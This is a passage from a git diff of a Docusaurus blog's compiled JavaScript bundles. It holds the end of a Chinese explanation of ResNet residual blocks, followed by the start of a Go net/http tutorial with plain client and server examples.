_make_layer()\u662f\u7528\u6765\u751f\u6210\u6b8b\u5dee\u5757\u7684\uff0c\u8fd9\u5c31\u7275\u626f\u5230\u5b83\u7684\u7b2c\u56db\u4e2a\u53c2\u6570\uff1astride\uff0c\u5373\u5377\u79ef\u6b65\u5e45\u3002\u8be5\u51fd\u6570\u4e2d\u9996\u5148\u5b9a\u4e49\u4e86\u5982\u679cstride\u4e0d\u7b49\u4e8e1\u6216\u8005\u7ef4\u5ea6\u4e0d\u5339\u914d\uff08\u5373\u8f93\u5165\u901a\u9053\u4e0d\u6ee1\u8db3\u5bf9\u5e94\u5173\u7cfb\uff09\u7684\u65f6\u5019\u7684downsample\uff0c\u7136\u540e\u5bf9\u5176\u8fdb\u884c\u4e00\u6b21BN\u64cd\u4f5c\u3002\u63a5\u7740\u5bf9inplanes\u548cplanes\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\u8fdb\u884c\u4e86\u4e00\u6b21downsample \uff0c\u5373\u5c06\u5e26downsample\u7684block\u6dfb\u52a0\u81f3layers\u3002\u8fd9\u6837\u4fdd\u8bc1\u4e86x\u548cout\u7684\u7ef4\u5ea6\u4e00\u81f4\uff0c\u63a5\u4e0b\u6765\u901a\u8fc7\u4e00\u4e2a\u5faa\u73af\u6dfb\u52a0\u4e86\u6307\u5b9a\u4e2a\u6570\u7684Block\uff0c\u7531\u4e8ex\u5df2\u7ecf\u7ef4\u5ea6\u4e00\u81f4\u4e86\uff0c\u8fd9\u6837\u6dfb\u52a0\u7684\u5176\u4ed6\u7684Block\u5c31\u53ef\u4ee5\u4e0d\u7528\u964d\u7ef4\u4e86\uff0c\u6240\u4ee5\u5faa\u73af\u6dfb\u52a0\u4e0d\u542bDownsample\u7684Block\u3002\u6b63\u5982\u4e0b\u9762\u4ee3\u7801\u6240\u793a"}),"\n",(0,t.jsx)(e.pre,{children:(0,t.jsx)(e.code,{className:"language-python",children:"if stride != 1 or self.inplanes != planes * block.expansion:\n downsample = nn.Sequential(\n conv1x1(self.inplanes, planes * block.expansion, stride),\n norm_layer(planes * block.expansion),\n )\n"})}),"\n",(0,t.jsx)(e.p,{children:"\u5f53\u4e00\u4e2alayer\u5305\u542b\u591a\u4e2ablock\u65f6\uff0c\u662f\u901a\u8fc7\u5411layers\u5217\u8868\u4e2d\u4f9d\u6b21\u52a0\u5165\u6bcf\u4e2ablock\uff0c\u6765\u5b9e\u73b0block\u7684\u5806\u53e0\u7684\u3002\u7b2c\u4e00\u4e2ablock\u9700\u8981\u7279\u6b8a\u5904\u7406\uff0c\u8be5block\u4f9d\u636e\u4f20\u5165\u7684self.inplanes, planes\u4ee5\u53castride\u5224\u65ad\uff0c\u53ef\u80fd\u542b\u6709downsample\u652f\u8def\uff1b\u8fd9\u4e2ablock\u7684\u8f93\u51fa\u7ef4\u5ea6\u662fplanes*block.expansion\u3002\u7d27\u63a5\u7740\u4fbf\u628aself.inplanes\u66f4\u65b0\u4e3a\u6b64\u503c\u4f5c\u4e3a\u540e\u7eedblock\u7684\u8f93\u5165\u7ef4\u5ea6\u3002\u540e\u9762\u7684block\u7684stride\u4e3a\u9ed8\u8ba4\u503c1\uff0c\u540c\u65f6\uff0c\u7531\u4e8e\u8f93\u5165\u4e3aself.inplanes\uff0c\u8f93\u51fa\u4e3aplanes*block.expansion\uff0c\u800cself.inplanes = planes * block.expansion\uff0c\u56e0\u6b64\u4e0d\u4f1a\u51fa\u73b0\u7279\u5f81\u56fe\u5927\u5c0f\u6216\u8005\u5c3a\u5bf8\u4e0d\u4e00\u81f4\u7684\u60c5\u51b5\uff0c\u4e0d\u53ef\u80fd\u51fa\u73b0downsample\u64cd\u4f5c\u3002"}),"\n",(0,t.jsx)(e.h2,{id:"3-\u603b\u7ed3",children:"3 \u603b\u7ed3"}),"\n",(0,t.jsx)(e.p,{children:"\u4e0e\u666e\u901a\u7684\u7f51\u7edc\u76f8\u6bd4\uff0cResNet\u6700\u5927\u7684\u4f18\u52bf\u5c31\u662f\u5f15\u5165\u4e86Shortcut\u8fd9\u4e2a\u652f\u8def\uff0c\u8ba9\u67d0\u4e00\u5c42\u53ef\u4ee5\u76f4\u63a5\u8fde\u63a5\u5230\u540e\u9762\u7684\u5c42\uff0c\u4f7f\u5f97\u540e\u9762\u7684\u5c42\u53ef\u4ee5\u76f4\u63a5\u5b66\u4e60\u6b8b\u5dee\u3002\u4f20\u7edf\u7684\u5377\u79ef\u5c42\u6216\u5168\u8fde\u63a5\u5c42\u5728\u4fe1\u606f\u4f20\u9012\u65f6\uff0c\u6216\u591a\u6216\u5c11\u4f1a\u5b58\u5728\u4fe1\u606f\u4e22\u5931\u3001\u635f\u8017\u7b49\u95ee\u9898\u3002ResNet \u5728\u67d0\u79cd\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u8fd9\u4e2a\u95ee\u9898\uff0c\u901a\u8fc7\u76f4\u63a5\u5c06\u8f93\u5165\u4fe1\u606f\u7ed5\u9053\u4f20\u5230\u8f93\u51fa\uff0c\u4fdd\u62a4\u4fe1\u606f\u7684\u5b8c\u6574\u6027\uff0c\u6574\u4e2a\u7f51\u7edc\u5219\u53ea\u9700\u8981\u5b66\u4e60\u8f93\u5165\u3001\u8f93\u51fa\u5dee\u522b\u7684\u90a3\u4e00\u90e8\u5206\uff0c\u7b80\u5316\u5b66\u4e60\u76ee\u6807\u548c\u96be\u5ea6\u3002"}),"\n",(0,t.jsx)(e.p,{children:"ResNet\u7684\u51fa\u73b0\uff0c\u5728\u4e00\u5b9a\u7a0b\u5ea6\u4e0a\u89e3\u51b3\u4e86\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u968f\u6df1\u5ea6\u7684\u589e\u52a0\uff0c\u4f46\u662f\u6a21\u578b\u6548\u679c\u5374\u53d8\u5dee\u7684\u95ee\u9898\uff0c\u7528\u4f5c\u8005\u7684\u8bdd\u8bf4\uff0c\u5c31\u662f: \u201cOur deep residual nets can easily enjoy accuracy gains from greatly increased depth, producing results substantially better than previous networks.\u201d\u3002\u539f\u59cb\u7684ResNet\u5bf9\u4e8e\u8bad\u7ec3\u5377\u79ef\u795e\u7ecf\u7f51\u8def\u505a\u51fa\u4e86\u5f88\u5927\u7684\u8d21\u732e\uff0c\u4f46\u662f\u540c\u6837\u4e5f\u6709\u7740\u8bb8\u591a\u53ef\u4ee5\u6539\u8fdb\u7684\u5730\u65b9\u3002\u968f\u7740\u65f6\u4ee3\u7684\u53d1\u5c55\uff0c\u539f\u7248\u7684ResNet\u5728\u4e00\u6b21\u53c8\u4e00\u6b21\u7684\u7814\u7a76\u4e2d\u5f97\u5230\u4e86\u4e30\u5bcc\u548c\u5b8c\u5584\uff0c\u884d\u751f\u51fa\u4e86\u4e30\u5bcc\u7684\u6539\u8fdb\u7684\u6a21\u578b\uff0c\u5982ResNeXt\u3002\u5b83\u63d0\u51fa\u4e86\u4e00\u79cd\u4ecb\u4e8e\u666e\u901a\u5377\u79ef\u6838\u6df1\u5ea6\u53ef\u5206\u79bb\u5377\u79ef\u7684\u8fd9\u79cd\u7b56\u7565\uff1a\u5206\u7ec4\u5377\u79ef\u3002\u901a\u8fc7\u63a7\u5236\u5206\u7ec4\u7684\u6570\u91cf\uff08\u57fa\u6570\uff09\u6765\u8fbe\u5230\u4e24\u79cd\u7b56\u7565\u7684\u5e73\u8861\u3002\u5206\u7ec4\u5377\u79ef\u7684\u601d\u60f3\u662f\u6e90\u81eaInception\uff0c\u4e0d\u540c\u4e8eInception\u7684\u9700\u8981\u4eba\u5de5\u8bbe\u8ba1\u6bcf\u4e2a\u5206\u652f\uff0cResNeXt\u7684\u6bcf\u4e2a\u5206\u652f\u7684\u62d3\u6251\u7ed3\u6784\u662f\u76f8\u540c\u7684\u3002\u6700\u540e\u518d\u7ed3\u5408\u6b8b\u5dee\u7f51\u7edc\uff0c\u5f97\u5230\u7684\u4fbf\u662f\u6700\u7ec8\u7684ResNeXt\u3002"}),"\n",(0,t.jsx)(e.p,{children:"\u9664\u6b64\u4e4b\u5916\uff0cResNet\u8fd8\u6709\u5176\u5b83\u53d8\u4f53\u5982Wider ResNet\uff0cDarkNet53\u7b49\u3002\u5b83\u4eec\u7684\u6539\u8fdb\u76f8\u5bf9\u8f83\u5927\uff0c\u5c24\u5176\u662fDarkNet53\uff0c\u5b83\u548cResNet\u5df2\u7ecf\u6709\u5f88\u5927\u4e0d\u540c\u4e86\uff0c\u53ea\u662f\u4f7f\u7528\u5230\u4e86\u6b8b\u5dee\u8fde\u63a5\u4ece\u800c\u590d\u7528\u7279\u5f81\u800c\u5df2\u3002\u603b\u800c\u8a00\u4e4b\uff0cResNet\u662f\u6df1\u5ea6\u5b66\u4e60\u9886\u57df\u4e00\u4e2a\u91cc\u7a0b\u7891\u5f0f\u7684\u5de5\u4f5c\u3002\u3002"})]})}function p(n={}){const{wrapper:e}={...(0,i.R)(),...n.components};return e?(0,t.jsx)(e,{...n,children:(0,t.jsx)(d,{...n})}):d(n)}}}]); \ No newline at end of file diff --git a/en/assets/js/86ca987a.37ecdceb.js b/en/assets/js/86ca987a.37ecdceb.js new file mode 100644 index 0000000..6f95f12 --- /dev/null +++ b/en/assets/js/86ca987a.37ecdceb.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[414],{22987:(e,n,r)=>{r.r(n),r.d(n,{assets:()=>o,contentTitle:()=>i,default:()=>p,frontMatter:()=>d,metadata:()=>t,toc:()=>a});const t=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","title":"02.GoLand-net.http.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/02.GoLand-net.http.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLand-net.http","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/05.\u8bed\u8a00\u77e5\u8bc6/03.Go/02.Go\u6a21\u5757\u5b66\u4e60/02.GoLand-net.http.md","tags":[],"version":"current","sidebarPosition":2,"frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"fmt","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-fmt"},"next":{"title":"goflags","permalink":"/en/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/\u8bed\u8a00\u77e5\u8bc6/Go/Go\u6a21\u5757\u5b66\u4e60/GoLang-goflags"}}');var s=r(74848),l=r(28453);const d={},i="02.GoLand-net.http.md",o={},a=[{value:"net/http\u4ecb\u7ecd",id:"nethttp\u4ecb\u7ecd",level:2},{value:"HTTP\u534f\u8bae",id:"http\u534f\u8bae",level:3},{value:"HTTP\u5ba2\u6237\u7aef",id:"http\u5ba2\u6237\u7aef",level:2},{value:"\u57fa\u672c\u7684HTTP/HTTPS\u8bf7\u6c42",id:"\u57fa\u672c\u7684httphttps\u8bf7\u6c42",level:3},{value:"GET\u8bf7\u6c42\u793a\u4f8b",id:"get\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"\u5e26\u53c2\u6570\u7684GET\u8bf7\u6c42\u793a\u4f8b",id:"\u5e26\u53c2\u6570\u7684get\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"Post\u8bf7\u6c42\u793a\u4f8b",id:"post\u8bf7\u6c42\u793a\u4f8b",level:3},{value:"\u81ea\u5b9a\u4e49Client",id:"\u81ea\u5b9a\u4e49client",level:3},{value:"\u81ea\u5b9a\u4e49Transport",id:"\u81ea\u5b9a\u4e49transport",level:3},{value:"\u670d\u52a1\u7aef",id:"\u670d\u52a1\u7aef",level:2},{value:"\u9ed8\u8ba4\u7684Server",id:"\u9ed8\u8ba4\u7684server",level:3},{value:"\u9ed8\u8ba4\u7684Server\u793a\u4f8b",id:"\u9ed8\u8ba4\u7684server\u793a\u4f8b",level:3},{value:"\u81ea\u5b9a\u4e49Server",id:"\u81ea\u5b9a\u4e49server",level:3},{value:"\u6a21\u5757\u4ecb\u7ecd",id:"\u6a21\u5757\u4ecb\u7ecd",level:2},{value:"Request",id:"request",level:3},{value:"Response",id:"response",level:3},{value:"Client",id:"client",level:3},{value:"Server \u670d\u52a1\u7aef",id:"server-\u670d\u52a1\u7aef",level:3},{value:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668\uff08Custom Handlers\uff09",id:"\u81ea\u5b9a\u4e49\u5904\u7406\u5668custom-handlers",level:3},{value:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",id:"\u5c06\u51fd\u6570\u4f5c\u4e3a\u5904\u7406\u5668",level:3},{value:"\u4e2d\u95f4\u4ef6Middleware",id:"\u4e2d\u95f4\u4ef6middleware",level:3}];function c(e){const n={a:"a",blockquote:"blockquote",code:"code",em:"em",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,l.R)(),...e.components};return(0,s.jsxs)(s.Fragment,{children:[(0,s.jsx)(n.header,{children:(0,s.jsx)(n.h1,{id:"02goland-nethttpmd",children:"02.GoLand-net.http.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,s.jsxs)(n.table,{children:[(0,s.jsx)(n.thead,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,s.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,s.jsx)(n.tbody,{children:(0,s.jsxs)(n.tr,{children:[(0,s.jsx)(n.td,{style:{textAlign:"left"},children:(0,s.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,s.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-15 00:58:49"})]})})]}),"\n",(0,s.jsxs)(n.blockquote,{children:["\n",(0,s.jsx)(n.p,{children:"\u672c\u7bc7\u6587\u7ae0\u53c2\u8003\u5982\u4e0b\uff0c\u5982\u6709\u4fb5\u6743\uff0c\u8bf7\u8054\u7cfb\u6211\u5220\u9664\u3002"}),"\n",(0,s.jsxs)(n.ul,{children:["\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://wizardforcel.gitbooks.io/go42/content/content/42_36_http.html",children:"\u7b2c\u4e09\u5341\u516d\u7ae0 net/http\u5305 \xb7 Go \u8bed\u8a00 42 \u7ae0\u7ecf"})}),"\n",(0,s.jsx)(n.li,{children:(0,s.jsx)(n.a,{href:"https://www.liwenzhou.com/posts/Go/http/#autoid-0-1-1",children:"Go\u8bed\u8a00\u57fa\u7840\u4e4bnet/http | \u674e\u6587\u5468\u7684\u535a\u5ba2"})}),"\n"]}),"\n"]}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u5341\u5206\u7684\u4f18\u79c0\uff0c\u63d0\u4f9b\u4e86HTTP\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,s.jsx)(n.h2,{id:"nethttp\u4ecb\u7ecd",children:"net/http\u4ecb\u7ecd"}),"\n",(0,s.jsxs)(n.p,{children:["Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u63d0\u4f9b\u4e86HTTP\u5ba2\u6237\u7aef\u548c\u670d\u52a1\u7aef\u7684\u5b9e\u73b0\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"http\u534f\u8bae",children:"HTTP\u534f\u8bae"}),"\n",(0,s.jsx)(n.p,{children:"\u8d85\u6587\u672c\u4f20\u8f93\u534f\u8bae\uff08HTTP\uff0cHyperText Transfer Protocol)\u662f\u4e92\u8054\u7f51\u4e0a\u5e94\u7528\u6700\u4e3a\u5e7f\u6cdb\u7684\u4e00\u79cd\u7f51\u7edc\u4f20\u8f93\u534f\u8bae\uff0c\u6240\u6709\u7684WWW\u6587\u4ef6\u90fd\u5fc5\u987b\u9075\u5b88\u8fd9\u4e2a\u6807\u51c6\u3002\u8bbe\u8ba1HTTP\u6700\u521d\u7684\u76ee\u7684\u662f\u4e3a\u4e86\u63d0\u4f9b\u4e00\u79cd\u53d1\u5e03\u548c\u63a5\u6536HTML\u9875\u9762\u7684\u65b9\u6cd5\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"http\u5ba2\u6237\u7aef",children:"HTTP\u5ba2\u6237\u7aef"}),"\n",(0,s.jsx)(n.h3,{id:"\u57fa\u672c\u7684httphttps\u8bf7\u6c42",children:"\u57fa\u672c\u7684HTTP/HTTPS\u8bf7\u6c42"}),"\n",(0,s.jsx)(n.p,{children:"Get\u3001Head\u3001Post\u548cPostForm\u51fd\u6570\u53d1\u51faHTTP/HTTPS\u8bf7\u6c42\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'resp, err := http.Get("http://example.com/")\n...\nresp, err := http.Post("http://example.com/upload", "image/jpeg", &buf)\n...\nresp, err := http.PostForm("http://example.com/form",\n\turl.Values{"key": {"Value"}, "id": {"123"}})\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u7a0b\u5e8f\u5728\u4f7f\u7528\u5b8cresponse\u540e\u5fc5\u987b\u5173\u95ed\u56de\u590d\u7684\u4e3b\u4f53\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'resp, err := http.Get("http://example.com/")\nif err != nil {\n\t// handle error\n}\ndefer resp.Body.Close()\nbody, err := ioutil.ReadAll(resp.Body)\n// ...\n'})}),"\n",(0,s.jsx)(n.h3,{id:"get\u8bf7\u6c42\u793a\u4f8b",children:"GET\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7684\u53d1\u9001HTTP\u8bf7\u6c42\u7684Client\u7aef\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n\t"net/http"\n)\n\nfunc main() {\n\tresp, err := http.Get("https://www.liwenzhou.com/")\n\tif err != nil {\n\t\tfmt.Printf("get failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tbody, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("read from resp.Body failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Print(string(body))\n}\n'})}),"\n",(0,s.jsxs)(n.p,{children:["\u5c06\u4e0a\u9762\u7684\u4ee3\u7801\u4fdd\u5b58\u4e4b\u540e\u7f16\u8bd1\u6210\u53ef\u6267\u884c\u6587\u4ef6\uff0c\u6267\u884c\u4e4b\u540e\u5c31\u80fd\u5728\u7ec8\u7aef\u6253\u5370",(0,s.jsx)(n.code,{children:"liwenzhou.com"}),"\u7f51\u7ad9\u9996\u9875\u7684\u5185\u5bb9\u4e86\uff0c\u6211\u4eec\u7684\u6d4f\u89c8\u5668\u5176\u5b9e\u5c31\u662f\u4e00\u4e2a\u53d1\u9001\u548c\u63a5\u6536HTTP\u534f\u8bae\u6570\u636e\u7684\u5ba2\u6237\u7aef\uff0c\u6211\u4eec\u5e73\u65f6\u901a\u8fc7\u6d4f\u89c8\u5668\u8bbf\u95ee\u7f51\u9875\u5176\u5b9e\u5c31\u662f\u4ece\u7f51\u7ad9\u7684\u670d\u52a1\u5668\u63a5\u6536HTTP\u6570\u636e\uff0c\u7136\u540e\u6d4f\u89c8\u5668\u4f1a\u6309\u7167HTML\u3001CSS\u7b49\u89c4\u5219\u5c06\u7f51\u9875\u6e32\u67d3\u5c55\u793a\u51fa\u6765\u3002"]}),"\n",(0,s.jsx)(n.h3,{id:"\u5e26\u53c2\u6570\u7684get\u8bf7\u6c42\u793a\u4f8b",children:"\u5e26\u53c2\u6570\u7684GET\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u5173\u4e8eGET\u8bf7\u6c42\u7684\u53c2\u6570\u9700\u8981\u4f7f\u7528Go\u8bed\u8a00\u5185\u7f6e\u7684",(0,s.jsx)(n.code,{children:"net/url"}),"\u8fd9\u4e2a\u6807\u51c6\u5e93\u6765\u5904\u7406\u3002"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func main() {\n\tapiUrl := "http://127.0.0.1:9090/get"\n\t// URL param\n\tdata := url.Values{}\n\tdata.Set("name", "\u5c0f\u738b\u5b50")\n\tdata.Set("age", "18")\n\tu, err := url.ParseRequestURI(apiUrl)\n\tif err != nil {\n\t\tfmt.Printf("parse url requestUrl failed, err:%v\\n", err)\n\t}\n\tu.RawQuery = data.Encode() // URL encode\n\tfmt.Println(u.String())\n\tresp, err := http.Get(u.String())\n\tif err != nil {\n\t\tfmt.Printf("post failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("get resp failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684Server\u7aefHandlerFunc\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func getHandler(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\tdata := r.URL.Query()\n\tfmt.Println(data.Get("name"))\n\tfmt.Println(data.Get("age"))\n\tanswer := `{"status": "ok"}`\n\tw.Write([]byte(answer))\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"post\u8bf7\u6c42\u793a\u4f8b",children:"Post\u8bf7\u6c42\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4e0a\u9762\u6f14\u793a\u4e86\u4f7f\u7528",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u53d1\u9001",(0,s.jsx)(n.code,{children:"GET"}),"\u8bf7\u6c42\u7684\u793a\u4f8b\uff0c\u53d1\u9001",(0,s.jsx)(n.code,{children:"POST"}),"\u8bf7\u6c42\u7684\u793a\u4f8b\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'package main\n\nimport (\n\t"fmt"\n\t"io/ioutil"\n\t"net/http"\n\t"strings"\n)\n\n// net/http post demo\n\nfunc main() {\n\turl := "http://127.0.0.1:9090/post"\n\t// \u8868\u5355\u6570\u636e\n\t//contentType := "application/x-www-form-urlencoded"\n\t//data := "name=\u5c0f\u738b\u5b50&age=18"\n\t// json\n\tcontentType := "application/json"\n\tdata := `{"name":"\u5c0f\u738b\u5b50","age":18}`\n\tresp, err := http.Post(url, contentType, strings.NewReader(data))\n\tif err != nil {\n\t\tfmt.Printf("post failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tdefer resp.Body.Close()\n\tb, err := ioutil.ReadAll(resp.Body)\n\tif err != nil {\n\t\tfmt.Printf("get resp failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n}\n'})}),"\n",(0,s.jsx)(n.p,{children:"\u5bf9\u5e94\u7684Server\u7aefHandlerFunc\u5982\u4e0b\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'func postHandler(w http.ResponseWriter, r *http.Request) {\n\tdefer r.Body.Close()\n\t// 1. \u8bf7\u6c42\u7c7b\u578b\u662fapplication/x-www-form-urlencoded\u65f6\u89e3\u6790form\u6570\u636e\n\tr.ParseForm()\n\tfmt.Println(r.PostForm) // \u6253\u5370form\u6570\u636e\n\tfmt.Println(r.PostForm.Get("name"), r.PostForm.Get("age"))\n\t// 2. \u8bf7\u6c42\u7c7b\u578b\u662fapplication/json\u65f6\u4ecer.Body\u8bfb\u53d6\u6570\u636e\n\tb, err := ioutil.ReadAll(r.Body)\n\tif err != nil {\n\t\tfmt.Printf("read request.Body failed, err:%v\\n", err)\n\t\treturn\n\t}\n\tfmt.Println(string(b))\n\tanswer := `{"status": "ok"}`\n\tw.Write([]byte(answer))\n}\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49client",children:"\u81ea\u5b9a\u4e49Client"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406HTTP\u5ba2\u6237\u7aef\u7684\u5934\u57df\u3001\u91cd\u5b9a\u5411\u7b56\u7565\u548c\u5176\u4ed6\u8bbe\u7f6e\uff0c\u521b\u5efa\u4e00\u4e2aClient\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'client := &http.Client{\n\tCheckRedirect: redirectPolicyFunc,\n}\nresp, err := client.Get("http://example.com")\n// ...\nreq, err := http.NewRequest("GET", "http://example.com", nil)\n// ...\nreq.Header.Add("If-None-Match", `W/"wyzzy"`)\nresp, err := client.Do(req)\n// ...\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u81ea\u5b9a\u4e49transport",children:"\u81ea\u5b9a\u4e49Transport"}),"\n",(0,s.jsx)(n.p,{children:"\u8981\u7ba1\u7406\u4ee3\u7406\u3001TLS\u914d\u7f6e\u3001keep-alive\u3001\u538b\u7f29\u548c\u5176\u4ed6\u8bbe\u7f6e\uff0c\u521b\u5efa\u4e00\u4e2aTransport\uff1a"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'tr := &http.Transport{\n\tTLSClientConfig: &tls.Config{RootCAs: pool},\n\tDisableCompression: true,\n}\nclient := &http.Client{Transport: tr}\nresp, err := client.Get("https://example.com")\n'})}),"\n",(0,s.jsx)(n.p,{children:"Client\u548cTransport\u7c7b\u578b\u90fd\u53ef\u4ee5\u5b89\u5168\u7684\u88ab\u591a\u4e2agoroutine\u540c\u65f6\u4f7f\u7528\u3002\u51fa\u4e8e\u6548\u7387\u8003\u8651\uff0c\u5e94\u8be5\u4e00\u6b21\u5efa\u7acb\u3001\u5c3d\u91cf\u91cd\u7528\u3002"}),"\n",(0,s.jsx)(n.h2,{id:"\u670d\u52a1\u7aef",children:"\u670d\u52a1\u7aef"}),"\n",(0,s.jsx)(n.h3,{id:"\u9ed8\u8ba4\u7684server",children:"\u9ed8\u8ba4\u7684Server"}),"\n",(0,s.jsx)(n.p,{children:"ListenAndServe\u4f7f\u7528\u6307\u5b9a\u7684\u76d1\u542c\u5730\u5740\u548c\u5904\u7406\u5668\u542f\u52a8\u4e00\u4e2aHTTP\u670d\u52a1\u7aef\u3002\u5904\u7406\u5668\u53c2\u6570\u901a\u5e38\u662fnil\uff0c\u8fd9\u8868\u793a\u91c7\u7528\u5305\u53d8\u91cfDefaultServeMux\u4f5c\u4e3a\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.p,{children:"Handle\u548cHandleFunc\u51fd\u6570\u53ef\u4ee5\u5411DefaultServeMux\u6dfb\u52a0\u5904\u7406\u5668\u3002"}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'http.Handle("/foo", fooHandler)\nhttp.HandleFunc("/bar", func(w http.ResponseWriter, r *http.Request) {\n\tfmt.Fprintf(w, "Hello, %q", html.EscapeString(r.URL.Path))\n})\nlog.Fatal(http.ListenAndServe(":8080", nil))\n'})}),"\n",(0,s.jsx)(n.h3,{id:"\u9ed8\u8ba4\u7684server\u793a\u4f8b",children:"\u9ed8\u8ba4\u7684Server\u793a\u4f8b"}),"\n",(0,s.jsxs)(n.p,{children:["\u4f7f\u7528Go\u8bed\u8a00\u4e2d\u7684",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u6765\u7f16\u5199\u4e00\u4e2a\u7b80\u5355\u7684\u63a5\u6536HTTP\u8bf7\u6c42\u7684Server\u7aef\u793a\u4f8b\uff0c",(0,s.jsx)(n.code,{children:"net/http"}),"\u5305\u662f\u5bf9net\u5305\u7684\u8fdb\u4e00\u6b65\u5c01\u88c5\uff0c\u4e13\u95e8\u7528\u6765\u5904\u7406HTTP\u534f\u8bae\u7684\u6570\u636e\u3002\u5177\u4f53\u7684\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,s.jsx)(n.pre,{children:(0,s.jsx)(n.code,{className:"language-go",children:'// 